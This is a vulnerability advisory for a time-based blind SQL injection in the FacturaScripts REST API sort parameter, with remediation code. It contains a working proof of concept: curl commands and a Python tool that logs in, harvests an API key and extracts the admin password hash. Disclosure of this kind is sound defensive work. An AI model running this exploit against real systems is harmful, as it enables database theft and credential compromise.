PT-2026-6408 · Packagist · Facturascripts/Facturascripts
Published
2026-02-03
·
Updated
2026-02-03
CVSS v4.0
8.3
High
| Vector | AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N |
Summary
FacturaScripts contains a critical SQL Injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the
sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality.Details
The FacturaScripts REST API exposes database models through various endpoints (e.g.,
/api/3/users, /api/3/attachedfiles, /api/3/customers). These endpoints support a sort parameter that allows clients to specify result ordering. The API processes this parameter through the ModelClass::all() method, which calls the vulnerable getOrderBy() function.Vulnerable Code Locations
1. Legacy Models:
File:
/Core/Model/Base/ModelClass.php
Method: getOrderBy()
Direct concatenation of keys and values from the $order array.2. Modern Models (DbQuery):
File:
/Core/DbQuery.php
Method: orderBy()
Lines: 255-259 // If it contains parentheses, it is not escaped (VULNERABILITY!)
if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
$this->orderBy[] = $field . ' ' . $order;
return $this;
}
This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.
Proof of Concept (PoC)
Prerequisites
- Valid API authentication token (X-Auth-Token header)
- Access to FacturaScripts API endpoints
Step-by-Step Verification (CLI)
Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.
1. Login and Retrieve a valid API key:
We handle the CSRF token and session cookies to access the settings and retrieve the first available key.
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login"
-d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"
# Find the ID of the first existing API key
API ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey?code=Kd+' | head -n 1)
# Extract the API key string using its ID
API KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API ID" | grep -Po 'name="apikey" value="K[^"]+' | head -n 1)
echo "Using API Key: $API KEY"
2. Verify Time-Based SQL Injection:
Use the extracted
API KEY in the X-Auth-Token header.# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API KEY" "http://localhost:8091/api/3/users?limit=1"
# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API KEY"
"http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"
Expected Result: The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.
Automated Exploitation Tool
This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.
import requests
import time
import string
import re
# Configuration
BASE URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API ENDPOINT = "/api/3/users"
session = requests.Session()
def get token(url):
"""Extract multireqtoken from any page"""
res = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
return match.group(1) if match else None
def get api key():
"""Logs in and retrieves the first active API key dynamically"""
print(f"[*] Logging in as {USERNAME}...")
# 1. Login flow
token = get token(f"{BASE URL}/login")
if not token:
print("[!] Failed to get initial CSRF token")
return None
login data = {
"fsNick": USERNAME,
"fsPassword": PASSWORD,
"action": "login",
"multireqtoken": token
}
res = session.post(f"{BASE URL}/login", data=login data)
if "Dashboard" not in res.text:
print("[!] Login failed!")
return None
print("[+] Login successful.")
# 2. Retrieve API Key ID from settings
print("[*] Accessing API settings...")
res = session.get(f"{BASE URL}/EditSettings?activetab=ListApiKey")
id match = re.search(r'EditApiKey?code=(d+)', res.text)
if not id match:
print("[!] No API keys found in system!")
return None
api id = id match.group(1)
# 3. Get the actual API key string
print(f"[*] Retrieving API key for ID {api id}...")
res = session.get(f"{BASE URL}/EditApiKey?code={api id}")
key match = re.search(r'name="apikey" value="([^"]+)"', res.text)
if not key match:
print("[!] Failed to extract API key from page!")
return None
return key match.group(1)
def time based sqli(api key, payload):
"""Execute time-based SQL injection and measure response time"""
headers = {"X-Auth-Token": api key}
params = {
'limit': 1,
f'sort[{payload}]': 'ASC'
}
start = time.time()
try:
requests.get(f"{BASE URL}{API ENDPOINT}", headers=headers, params=params, timeout=10)
except requests.exceptions.ReadTimeout:
return 10.0
except:
pass
return time.time() - start
def extract data(api key, query, length=60):
"""Extracts data char by char using time-based blind SQLi"""
extracted = ""
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
print(f"[*] Starting extraction for query: {query}")
for i in range(1, length + 1):
found = False
for char in charset:
# Added BINARY to force case-sensitive comparison
payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
elapsed = time based sqli(api key, payload)
if elapsed >= 2.0:
extracted += char
print(f"[+] Found char at pos {i}: {char} -> {extracted}")
found = True
break
if not found:
break
return extracted
def main():
print("="*60)
print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
print("="*60)
# 1. Get API Key dynamically
api key = get api key()
if not api key:
return
print(f"[+] Using API Key: {api key}")
# 2. Verify vulnerability
print("[*] Verifying vulnerability...")
if time based sqli(api key, "(SELECT SLEEP(2))") >= 2.0:
print("[+] System is VULNERABLE!")
else:
print("[-] System not vulnerable or API key invalid.")
return
# 3. Extract Admin Password Hash
admin hash = extract data(api key, "SELECT password FROM users WHERE nick='admin'")
print(f"
[!] FINAL ADMIN HASH: {admin hash}")
if name == " main ":
main()
Impact
Data Confidentiality
- Complete database disclosure through blind SQL Injection techniques
- Extraction of sensitive data including:
- User credentials and API keys
- Customer PII (personal identifiable information)
- Financial records and transaction data
- Business intelligence and pricing information
- System configuration and secrets
Who is Impacted?
- Organizations using FacturaScripts API for integrations
- Mobile apps and third-party integrations using the API
- All users whose data is accessible via API
- Business partners with API access
Recommended Fix
Immediate Remediation
Option 1: Implement Strict Whitelist Validation (Recommended)
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
// Get valid column names from model
$validColumns = array keys(static::getModelFields());
foreach ($order as $key => $value) {
// Validate column name against whitelist
if (!in array($key, $validColumns, true)) {
throw new Exception('Invalid column name for sorting: ' . $key);
}
// Validate sort direction (must be ASC or DESC)
$value = strtoupper(trim($value));
if (!in array($value, ['ASC', 'DESC'], true)) {
throw new Exception('Invalid sort direction: ' . $value);
}
// Escape column name
$safeColumn = self::$dataBase->escapeColumn($key);
$result .= $coma . $safeColumn . ' ' . $value;
$coma = ', ';
}
return $result;
}
Option 2: Use Database Escaping Functions
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
foreach ($order as $key => $value) {
// Escape identifiers and validate direction
$safeColumn = self::$dataBase->escapeColumn($key);
$safeDirection = in array(strtoupper($value), ['ASC', 'DESC'])
? strtoupper($value)
: 'ASC';
$result .= $coma . $safeColumn . ' ' . $safeDirection;
$coma = ', ';
}
return $result;
}
Option 3: Use Query Builder Pattern
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
$query = self::table();
// Apply WHERE conditions
foreach ($where as $condition) {
$query->where($condition);
}
// Apply ORDER BY with validation
foreach ($order as $column => $direction) {
if (!array key exists($column, static::getModelFields())) {
continue; // Skip invalid columns
}
$query->orderBy($column, $direction);
}
return $query->offset($offset)->limit($limit)->get();
}
API Security Best Practices
// Add to API configuration
$config = [
'max sort fields' => 3, // Limit number of sort fields
'allowed sort fields' => ['id', 'date', 'name'], // Whitelist
'default sort' => 'id ASC', // Safe default
];
Credits
Discovered by: Łukasz Rybak
Fix
SQL injection
RCE
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Facturascripts/Facturascripts